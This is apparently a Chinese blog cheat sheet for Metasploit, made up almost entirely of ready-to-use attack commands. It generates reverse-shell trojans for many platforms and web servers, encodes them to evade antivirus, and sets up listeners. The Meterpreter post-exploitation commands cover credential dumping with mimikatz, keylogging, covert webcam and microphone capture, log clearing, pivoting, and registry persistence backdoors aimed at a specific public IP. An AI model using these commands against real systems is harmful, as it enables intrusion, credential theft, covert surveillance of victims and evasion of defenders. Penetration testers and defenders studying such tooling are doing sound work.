太极生两仪,两仪生四象,
四象生八卦,八卦衍万物。
然后呢?
万物不如你!
msfvenom是msfpayload,msfencode的结合体,它的优点是单一命令行和效率.利用msfvenom生成各种版本木马程序,并在目标机上执行,在本地监听上线,执行攻击。
Options:
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式
-e, --encoder 指定需要使用的编码
-a, --arch 指定payload的目标架构 x64 x86
–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out 保存payload
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
最常使用的也就是 –f –o –p –I –e -x
-f (msfvenom –format查看)也就是指定生成文件格式,如图
-o 输出位置,在捆绑木马时候,可以重定向。
-p 使用哪个payload
-i 把payload编码几次,次数越多免杀效果提高,随之失效性也变大
-e 使用哪个编码进行混淆免杀
-x 捆绑也做好的木马,-o只定被捆绑软件
查看可以利用的payload(编码/所有)
msfvenom -l payloads(encoders /all)
下面就大汇总一下,直接生成相应的木马。
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 监听ip> LPORT=< 监听端口> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.pl
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> R > /1.apk
举个栗子:
生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=8888 -e x86/shikata_ga_nai -i 3 -f exe > shell.exe
开启ng转发,把内网转发到公网ip,然后监听本地127
监听反弹shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.4
set lport 4444
run
Sessions l 显示会话
Sessions id 即可进入
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,谁用谁知道,用用更健康
基本常用命令
ps 进程
sysinfo 查看系统信息
route 查看路由表
run get_local_subnets 获得内网 ip 段情况
getwd/getpid/getuid 查看路径/shell id/当前用户
getsystem 一键提权
screenshot 截屏
background/sessions 配合
upload/download /root/test c:\\ 上传/下载文件
search -D c:\\ -f *.doc -D 指定目录 –f 指定文件
edit 相当于vi 修改host等
run getgui -e 开启目标主机远程桌面
run getgui -u example_username -p example_password 可以添加账号以便利用
run arp_scanner -r x.x.x.x/24 扫描存活主机 linux下也可以fping -asg 10.96.10.0/24 或namp
run service_manager –l 获取运行服务
rdesktop -u kali -p meterpreter 192.168.250.176:3389远程左面连接
shell 获取cmd
keyscan_start/dump/stop 开启/输出/关闭 记录目标主机的键盘输入
run hashdump 打印账号密码hash,这个并不好,可以利用mimikatz
load mimikatz也可以上传一个execute -i -f mimikatz.exe
privilege::debug 提权
sekurlsa::logonpasswords获取密码
portfwd命令 端口转发 portfwd add -l 1122 -p 3389 -r 192.168.250.176
migrate 端口 讲meterprete注入进程种结合ps使用
execute –f 相当于cmd中执行命令 –H 后台执行 –i交互式
假冒域管理员等,use incognito然后查看list_tokens –u存在用户名 假冒impersonate_token 用户名(\\两个)
record_mic 记录麦克风
• webcam_list 查看摄像头设备
• 从指定的摄像头,拍摄照片:webcam_snap webcam_snap -i 1 -v false 每隔一秒拍摄一张图片
• 从指定的摄像头,开启视频:webcam_stream
run post/windows/gather/enum_applications 获取目标主机上的软
件安装信息
run post/windows/gather/enum_ie 读取IE 浏览器
cookies 等缓存信息。
run post/windows/gather/dumplinks 最近打开文档
run post/windows/gather/checkvm 是否虚拟机
clearev 清除痕迹
添加路由访问内网其他网段ip
首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
Msf就可以访问 该网段,然后扫描内网该内网利用
use auxiliary/scanner/portscan/tcp
OR
首先在meterpreter查看路由,run get_local_subnets
然后设置通往另外一个的路由run autoroute -s 192.168.100.0/24 -d删除 –p查看
通过代理访问内网
set proxies socks5:127.0.0.1:8990
OR
可以设置 /etc/proxychains.conf socoks5 ip;端口 然后proxychains msfconsole
OR
use auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。
持久性后门
生成run metsvc 加-r删除
监听shell需要windows/metsvc_bind_tcp模块而且要rhost目标ip及木马31337端口
use exploit/multi/handler -->同样需要这个模块来连接后门的
set payload windows/metsvc_bind_tcp -->使用该payload
show options -->查看配置选项
set LPORT 31337 -->设置端口31337
set RHOST 192.168.2.107 -->设置目标IP地址,这里不是我们自己的IP了,是对方IP
exploit -->设置完成后运行再次得到后门连接,实现维持访问
# -X 开机自启动
# -i payload重连的间隔时间
# -p 反向连接端口号 即公网端口
# -r 反向连接IP地址 公网ip
输入,生成一个vps后门到 C:\Users\ADMINI~1\AppData\Local\Temp\目录下,主要是写入目标注册表键值实现开机自动运行。
run persistence -X -i 5 -p 10964 -r 119.28.130.53
同木马一样监听,即可反弹shell。